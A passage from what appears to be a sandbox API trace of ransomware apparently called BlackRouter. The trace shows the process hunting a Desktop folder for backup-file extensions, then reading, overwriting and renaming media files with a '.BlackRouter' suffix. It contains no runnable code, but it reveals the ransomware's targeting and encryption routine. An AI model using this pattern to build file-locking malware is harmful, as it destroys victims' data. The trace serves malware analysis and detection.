lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.841] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.BA7", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.842] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.BAC", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.842] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.BACKUPDB", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.842] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.BAK2", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.842] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.BAK3", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.842] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.BAKX", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.843] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0039.843] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0039.843] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.BAK~", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.843] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.BBB", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.843] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.BBZ", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.843] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.BCK", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.844] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.BCKP", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.844] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.BCM", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.844] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.BDB", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.844] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.BFF", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.844] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.BIF", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.845] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.BIFX", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.845] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.BK1", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.845] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.BKC", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.845] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.BKF", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.845] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.BKP", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.845] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.BKUP", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.846] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.BKZ", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.846] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.dvtel", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.846] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.BLEND1", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.846] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.BLEND2", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.846] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.BM3", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.847] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.BMK", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.847] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.BOOKEXPORT", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.847] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.BPA", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.847] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.BPB", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.847] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.BPM", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.847] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.BPN", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.848] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.BPS", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.848] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.BUP", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.848] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.CAA", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.848] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.CBK", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.849] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.CBS", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.849] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.CBU", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.849] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0039.849] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0039.849] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.CENON~", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.849] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.CK9", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.850] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.CMF", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.850] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.CRDS", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.850] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.CSD", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.850] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.CSM", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.850] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.DA0", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.850] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.DASH", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.851] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.DBA", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.851] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.DBK", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.851] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.DIM", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.851] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.DIY", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.851] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.DNA", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.852] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.DOV", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.852] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.DPB", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.852] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.DSB", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.852] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.DSS", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.852] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.FBC", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.852] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.FBF", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.853] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.FBK", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.853] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.FBU", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.853] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.FBW", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.853] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*", lpFindFileData=0x1ae430 | out: lpFindFileData=0x1ae430) returned 0x1ac59c20 [0039.853] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0039.853] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0039.853] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0039.854] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0039.854] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0039.854] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0039.854] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0039.854] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0039.854] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0039.854] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0039.854] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 0 [0039.854] FindClose (in: hFindFile=0x1ac59c20 | out: hFindFile=0x1ac59c20) returned 1 [0039.854] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\*.exe", lpFindFileData=0x1ae360 | out: lpFindFileData=0x1ae360) returned 0xffffffffffffffff [0039.854] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\*.der", lpFindFileData=0x1ae360 | out: lpFindFileData=0x1ae360) returned 0xffffffffffffffff [0039.855] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\*.pfx", lpFindFileData=0x1ae360 | out: lpFindFileData=0x1ae360) returned 0xffffffffffffffff [0039.855] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\*.key", lpFindFileData=0x1ae360 | out: lpFindFileData=0x1ae360) returned 0xffffffffffffffff [0039.855] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\*.ico", lpFindFileData=0x1ae360 | out: lpFindFileData=0x1ae360) returned 0xffffffffffffffff [0039.855] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\*.htm", lpFindFileData=0x1ae360 | out: lpFindFileData=0x1ae360) returned 0xffffffffffffffff [0039.855] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\*.ttf", lpFindFileData=0x1ae360 | out: lpFindFileData=0x1ae360) returned 0xffffffffffffffff [0039.856] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\*.cs", lpFindFileData=0x1ae360 | out: lpFindFileData=0x1ae360) returned 0xffffffffffffffff [0039.856] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\*.vb", lpFindFileData=0x1ae360 | out: lpFindFileData=0x1ae360) returned 0xffffffffffffffff [0039.856] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\*.c", lpFindFileData=0x1ae360 | out: lpFindFileData=0x1ae360) returned 0xffffffffffffffff [0039.856] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\*.py", lpFindFileData=0x1ae360 | out: lpFindFileData=0x1ae360) returned 0xffffffffffffffff [0039.856] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\*.jar", lpFindFileData=0x1ae360 | out: lpFindFileData=0x1ae360) returned 0xffffffffffffffff [0039.857] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\*.h", lpFindFileData=0x1ae360 | out: lpFindFileData=0x1ae360) returned 0xffffffffffffffff [0039.857] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\*.plist", lpFindFileData=0x1ae360 | out: lpFindFileData=0x1ae360) returned 0xffffffffffffffff [0039.860] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3b0 | out: lpFindFileData=0x1ae3b0) returned 0 [0039.860] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\pqLKU8kKZ4_VNEV 85T0.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\ipm90_lxf\\pqlku8kkz4_vnev 85t0.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x25c [0039.860] GetFileSize (in: hFile=0x25c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0xad07 [0039.860] ReadFile (in: hFile=0x25c, lpBuffer=0x29fec08, nNumberOfBytesToRead=0xad07, lpNumberOfBytesRead=0x1ae5c8, lpOverlapped=0x0 | out: lpBuffer=0x29fec08*, lpNumberOfBytesRead=0x1ae5c8*=0xad07, lpOverlapped=0x0) returned 1 [0039.863] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\pqLKU8kKZ4_VNEV 85T0.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\ipm90_lxf\\pqlku8kkz4_vnev 85t0.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x25c [0039.866] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\pqLKU8kKZ4_VNEV 85T0.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\ipm90_lxf\\pqlku8kkz4_vnev 85t0.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47634f0, ftCreationTime.dwHighDateTime=0x1d46023, ftLastAccessTime.dwLowDateTime=0xc8babab0, ftLastAccessTime.dwHighDateTime=0x1d45ab8, ftLastWriteTime.dwLowDateTime=0xbe471ff0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xad10)) returned 1 [0039.866] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\pqLKU8kKZ4_VNEV 85T0.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\ipm90_lxf\\pqlku8kkz4_vnev 85t0.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\pqLKU8kKZ4_VNEV 85T0.mp3.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\ipm90_lxf\\pqlku8kkz4_vnev 85t0.mp3.blackrouter")) returned 1 [0039.867] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3b0 | out: lpFindFileData=0x1ae3b0) returned 0 [0039.867] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\PoBa.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\ipm90_lxf\\poba.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x25c [0039.867] GetFileSize (in: hFile=0x25c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x99cb [0039.867] ReadFile (in: hFile=0x25c, lpBuffer=0x2a15e80, nNumberOfBytesToRead=0x99cb, lpNumberOfBytesRead=0x1ae5c8, lpOverlapped=0x0 | out: lpBuffer=0x2a15e80*, lpNumberOfBytesRead=0x1ae5c8*=0x99cb, lpOverlapped=0x0) returned 1 [0039.870] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\PoBa.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\ipm90_lxf\\poba.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x25c [0039.873] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\PoBa.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\ipm90_lxf\\poba.wav"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60882b70, ftCreationTime.dwHighDateTime=0x1d45631, ftLastAccessTime.dwLowDateTime=0xbf19e360, ftLastAccessTime.dwHighDateTime=0x1d458a5, ftLastWriteTime.dwLowDateTime=0xbe471ff0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x99d0)) returned 1 [0039.873] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\PoBa.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\ipm90_lxf\\poba.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\PoBa.wav.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\ipm90_lxf\\poba.wav.blackrouter")) returned 1 [0039.874] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3b0 | out: lpFindFileData=0x1ae3b0) returned 0 [0039.874] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\YjfbYM 8Ps mlYzHp.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\ipm90_lxf\\yjfbym 8ps mlyzhp.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x25c [0039.874] GetFileSize (in: hFile=0x25c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x2ff9 [0039.874] ReadFile (in: hFile=0x25c, lpBuffer=0x2a309a0, nNumberOfBytesToRead=0x2ff9, lpNumberOfBytesRead=0x1ae5c8, lpOverlapped=0x0 | out: lpBuffer=0x2a309a0*, lpNumberOfBytesRead=0x1ae5c8*=0x2ff9, lpOverlapped=0x0) returned 1 [0039.876] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\YjfbYM 8Ps mlYzHp.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\ipm90_lxf\\yjfbym 8ps mlyzhp.mkv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x25c [0039.878] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\YjfbYM 8Ps mlYzHp.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\ipm90_lxf\\yjfbym 8ps mlyzhp.mkv"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2ee8620, ftCreationTime.dwHighDateTime=0x1d4644c, ftLastAccessTime.dwLowDateTime=0x8f9e8ff0, ftLastAccessTime.dwHighDateTime=0x1d45e13, ftLastWriteTime.dwLowDateTime=0xbe471ff0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0039.878] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\YjfbYM 8Ps 